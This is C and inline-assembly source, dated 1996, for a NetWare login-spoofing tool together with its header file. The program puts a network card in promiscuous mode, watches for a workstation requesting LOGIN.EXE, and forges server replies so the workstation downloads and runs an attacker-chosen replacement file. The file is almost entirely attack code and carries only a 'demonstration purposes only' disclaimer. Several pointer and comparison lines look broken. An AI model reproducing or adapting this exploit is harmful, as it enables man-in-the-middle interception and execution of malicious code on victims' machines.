/* This file is Copyright 1996 by Greg Miller */
/* Any modifications to this file should be sent to
gmiller@dey-systems.com, gmiller@grendel.ius.indiana.edu,
gregmi@mis.net, as well as posted to comp.os.netware.security.
*/
/* Note: This code isn't pretty. I've sacraficed just about every
programming convention for the speed of coding.
*/
/* I assume there is a Packet Driver installed on INT 0x60. No checking
is done.
*/
/* Login spoofing utility for all versions of NetWare */
/* This program is only a template, not a compete program */
/* This program will send a specified file as the LOGIN.EXE file
to a specified workstation. The file can be any file of the
same length of LOGIN.EXE or shorter, and can be sent to any
workstation the attacking station is capable of sniffing
packets for. This program uses the promiscuous mode of the
adapter card, so a fast computer is needed (the more traffic
the network has on it, the faster the attacking machine has to
be.
*/
/* A General Explanation of the Attack
This attack takes advantage of a zero knowledge state between the
client and server. Neither the client nor the server has the capability
of authenticating itself to the other before the user is logged in.
This allows any station on the network to immitate either the client or
the server (however, immitating the server is the only useful attack).
Once the LOGIN.EXE file is downloaded, the client can authenticate
itself to the server (through the use of the password), however, the
server still has no mechanism for authenticating itself to the
client. This allows for some "man in the middle" attacks against
the login sequence. Readers interested in the "man in the middle"
attacks against the login sequence should see the "NetWare Hack FAQ"
by Simple Nomad (version 4 or above).
*/
/* NOTE: THIS PROGRAM IS FOR DEMONSTRATION PURPOSES ONLY. ANY MISUSE OF
THIS PROGRAM TO BREAK INTO ANY SYSTEM IS A VIOLATION OF FEDERAL
LAW.
*/
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include "spooflog.h"
/*All variables are global to speed up processing time*/
int DataRemaining = TRUE;
BYTE packet[2000];
BYTE SendPacket[2000];
int ServerCurrentSequenceNumber;
int ClientCurrentSequenceNumber;
WORD handle;
int packet_received = FALSE;
BYTE SpoofStation[6] = {0xff,0xff,0xff,0xff,0xff,0xff};
BYTE OpenLoginRequest[] = {76,1,0x4e,0x11,16,'/','L','O','G','I','N',
'/','L','O','G','I','N','.','E','X','E'};
BYTE OpenLoginReply[] = {0};
int c;
WORD pktlen;
WORD Sendpktlen;
FILE *IN;
void Initialize(){
/* This procedure will ensure that the address and file specified on the
command line are valid. If not, a useage string is displayed. This
function also opens the file for reading, and reads in some of the file
into a buffer to ensure that this attacking station beats the server to
the response when the read is submitted by the workstation.
*/
IN = fopen("spoof.dat","r");
}
static void far PacketReceived(){
/*This function is called by the packet driver when a packet is
received. If AX=0 when the function is called, the packet driver
is asking for a buffer to put the packet in. If AX=1 then the
packet has been copied into the buffer.
*/
_asm{
pop di //Borland C 3.1 pushes DI for some reason.
//Remove this line if you compiler doesn't.
cmp ax,1 //ax=0 for get buffer or 1 when done
jz copy_done
mov ax,seg packet
mov ES,ax
lea DI,packet
mov cx,2000 //buffer length
retf
}
copy_done:
packet_received = TRUE;
pktlen=_CX;
_asm{retf}
end:
}
void RegisterWithPKTDRV(){
/*This function registers the "protocol stack" with the packet
driver. We give it the address of the function to call when
a packet is received in ES:DI, the interface class in AL, and
the interface type in BX. DS:SI should point to the type of
packets to receive, with the length of the type in CX, however,
we'll just receive any type of packet so we leave DS:SI alone
and make CX=0.
We get a handle back from the INT 60h call in AX, we'll store
it for later use.
*/
_asm {
pusha
mov bx,0ffffh //interface type for 3com 509
mov dl,0
mov cx,0 //receive any type of packet
mov ax, seg PacketReceived
mov es,ax
lea di, PacketReceived
mov ah,02
mov al,01 //class type for 3com 509
int 60h
jc err
mov handle,ax
popa
}
printf("Registered with packet driver\r\n");
return;
err:
printf("Error registering stack: %d\r\n",_DH);
_asm{popa}
}
void RelinquishProtocolStack(){
/* Relinqush control of the interface */
_asm{
pusha
mov ah,5
mov bx,handle
int 60h
jc err
popa
}
printf("Stack Relinqushed\r\n");
return;
err:
printf("Error releasing Stack: %d",_DH);
}
void EnterPromiscuousMode(){
/*This function puts the board in promiscuous mode by putting the
receive mode in CX and the handle in BX. Mode 6 is promiscuous.
*/
_asm{
pusha
mov ah,14h
mov bx,handle
mov cx,6
int 60h
jc err
popa
}
printf("Promiscuous mode set\r\n");
return;
err:
printf("Error entering promiscuous mode: %d\r\n",_DH);
_asm{popa}
}
void printhex(BYTE d){
BYTE temp;
_asm{
mov al,d
shr al,1
shr al,1
shr al,1
shr al,1
and al,0fh
add al,90h
daa
adc al,40h
daa
}
temp=_AL;
printf("%c",temp);
_asm{
mov al,d
and al,0fh
add al,90h
daa
adc al,40h
daa
}
temp=_AL;
printf("%c ",temp);
}
void SendPack(){
_asm{ pusha
mov ax,seg SendPacket
mov ds,ax
lea si,SendPacket
mov cx,Sendpktlen
mov ah,04
int 60h
jc err
popa
}
for(c=0;c<pktlen;c++){printhex(packet[c]);}
printf("\r\n");
return;
err:
printf("Error sending packet: %d\r\n",_DH);
_asm{popa}
}
void SendOpenReply(){
memcpy(SendPacket,(char*)packet[6],6); //Copy 802.3 dest addr
memcpy((char*)SendPacket[6],packet,6); //Copy 802.3 src addr
//Put 802.3 length here.
SendPacket[12]=255;
SendPacket[13]=255;
memcpy((char*)SendPacket[20],(char*)packet[32],12); //Copy dest addr,net,sock
memcpy((char*)SendPacket[32],(char*)packet[20],12); //Copy src addr,net,sock
SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum
SendPacket[19]=17; //Packet type = NCP
SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type
memcpy((char*)SendPacket[46],(char*)packet[46],4); //Seq num,con num,task,con num hi
SendPacket[50]=0; //Completion code
SendPacket[51]=0; //Connection Status
//File name
//File Attrib
//File exe type
//File len
//Create date
//Last Access date
//Last update date
//Last update time
printf("Spoofing Open Reply\r\n");
SendPack();
}
void SendReadResponse(){
memcpy(SendPacket,(char*)packet[6],6); //Copy 802.3 dest addr
memcpy((char*)SendPacket[6],packet,6); //Copy 802.3 src addr
memcpy((char*)SendPacket[20],(char*)packet[32],12); //Copy dest addr,net,sock
memcpy((char*)SendPacket[32],(char*)packet[20],12); //Copy src addr,net,sock
SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum
SendPacket[19]=17; //Packet type = NCP
SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type
memcpy((char*)SendPacket[46],(char*)packet[46],4); //Seq num,con num,task,con num hi
SendPacket[50]=0; //Completion code
SendPacket[51]=0; //Connection Status
Sendpktlen=fread((void*)SendPacket[54],1,(packet[58]*255)+packet[59],IN);
SendPacket[12]=(Sendpktlen+53)/255;
SendPacket[13]=(Sendpktlen+53)%255;
SendPacket[52]=Sendpktlen/255;
SendPacket[53]=Sendpktlen%255;
//IPX length
if(SendPacket[0]==0){//Send Read Failure
}
SendPacket[12]=0; //802.3 length hi
SendPacket[13]=0; //802.3 length lo
printf("Spoofing Read Reply\r\n");
SendPack();
}
void WaitForPacket(){
while(!packet_received){}
printf("Packet Received\r\n");
for(c=0;c<pktlen;c++){printhex(packet[c]);}
printf("\r\n");
packet_received=FALSE;
}
int PacketIsStationsReadRequest(){
if(memcmp(packet,SpoofStation,6) && (packet[19]==17) &&
(packet[50]==72)){
return TRUE;
}
return FALSE;
}
void WaitForStationRequestForLoginEXE(){
/* This function will monitor the network for the station to request an
open of the SYS:\LOGIN\LOGIN.EXE. The procedure will monitor the
station's sequence numbers also.
*/
int NotFoundOpenRequest = TRUE;
while(NotFoundOpenRequest){
WaitForPacket();
if(memcmp((char*)packet[6],OpenLoginRequest,21))
NotFoundOpenRequest=FALSE;
}
SendOpenReply();
}
void SendStationAlternateFile(){
/* This function will intercept the server's reply to the station's request
to open LOGIN.EXE and return a modified open reply giving the modified
file's length to the workstation. The function will then monitor for
further read request on LOGIN.EXE and intercept those as well, returning
the alternate LOGIN.EXE program which the workstation will then execute.
*/
SendOpenReply();
while(DataRemaining){
/* This loop will continuously wait for read requests and send responses
until the file buffer is exhausted. When the station sends a read
request after the file buffer is exhausted, a read failed response is
sent.
*/
WaitForPacket();
if(PacketIsStationsReadRequest()){
SendReadResponse();
}
}
}
void ResynchSequenceNumbers(){
/* Actually, I believe the sequence numbers will stay synchronized without
any further effort. If so, this funciton isn't needed.
What I expect to happen, is that the server will still ACK the requests
sent by the workstation, thus still incrementing the sequence numbers for
each request sent by the workstation. Since the sequence numbers are only
incremented by one each time, we can accurately predict the numbers the
server would have used. When the transfer is over, the server will have
transmitted the same number of packets the client requested, so the
sequence numbers should still be synchronized.
*/
}
void main(){
Initialize();
RegisterWithPKTDRV();
EnterPromiscuousMode();
WaitForStationRequestForLoginEXE();
SendStationAlternateFile();
ResynchSequenceNumbers();
RelinquishProtocolStack(); /*Toggles prom mode off*/
}
spooflog.h:
#define TRUE -1
#define FALSE 0
typedef unsigned char BYTE;
typedef unsigned int WORD;
typedef unsigned long DWORD;
struct packet_SPX {
WORD Checksum;
WORD Length;
BYTE TransportControl;
BYTE PacketType;
BYTE DestinationNetwork[4];
BYTE DestinationNode[6];
WORD DestinationSocket;
BYTE SourceNetwork[4];
BYTE SourceNode[6];
WORD SourceSocket;
BYTE ConnectionControl;
BYTE DatastreamType;
WORD SourceConnectionID;
WORD DestinationConntectionID;
WORD SequenceNumber;
WORD AckNumber;
WORD AllocationNumber;
BYTE Data[534];
};
struct packet_IPX {
WORD Checksum;
WORD Length;
BYTE TransportControl;
BYTE PacketType;
BYTE DestinationNetwork[4];
BYTE DestinationNode[6];
WORD DestinationSocket;
BYTE SourceNetwork[4];
BYTE SourceNode[6];
WORD SourceSocket;
struct packet_SPX Data;
};
struct frame_802_3 {
BYTE preamble[7];
BYTE StartFrameDelimeter[1];
BYTE DestinationAddr[6];
BYTE SourceAddr[6];
WORD Length;
struct packet_IPX Data; //contains pad and frame CRC check
};
struct NCP_reply{
/*802.3 Header*/
BYTE DestinationAddr[6];
BYTE SourceAddr[6];
WORD Length_802;
/*IPX Header*/
WORD Checksum;
WORD Length_IPX;
BYTE TransportControl;
BYTE PacketType;
BYTE DestinationNetwork[4];
BYTE DestinationNode[6];
WORD DestinationSocket;
BYTE SourceNetwork[4];
BYTE SourceNode[6];
WORD SourceSocket;
WORD ReplyType;
BYTE SequenceNumber;
BYTE ConnectionNumberLow;
BYTE TaskNumber;
BYTE ConnectionNumberHi;
BYTE CompletionCode;
BYTE ConnectionStatus;
BYTE Data[1500];
};
struct NCP_request{
/*802.3 Header*/
BYTE DestinationAddr[6];
BYTE SourceAddr[6];
WORD Length_802;
/*IPX Header*/
WORD Checksum;
WORD Length_IPX;
BYTE TransportControl;
BYTE PacketType;
BYTE DestinationNetwork[4];
BYTE DestinationNode[6];
WORD DestinationSocket;
BYTE SourceNetwork[4];
BYTE SourceNode[6];
WORD SourceSocket;
/*NCP Header*/
WORD RequestType;
BYTE SequenceNumber;
BYTE ConnectionNumberLow;
BYTE TaskNumber;
BYTE ConnectionNumberHi;
BYTE Data[1500];
};
void Initialize();
void RegisterWithPKTDRV();
void EnterPromiscuousMode();
void WaitForStationRequestForLoginEXE();
void SendStationAlternateFile();
void ResynchSequenceNumbers();
void SendOpenReply();
void SendReadResponse();
void WaitForPacket();
int PacketIsStationsReadRequest();
void WaitForPacket();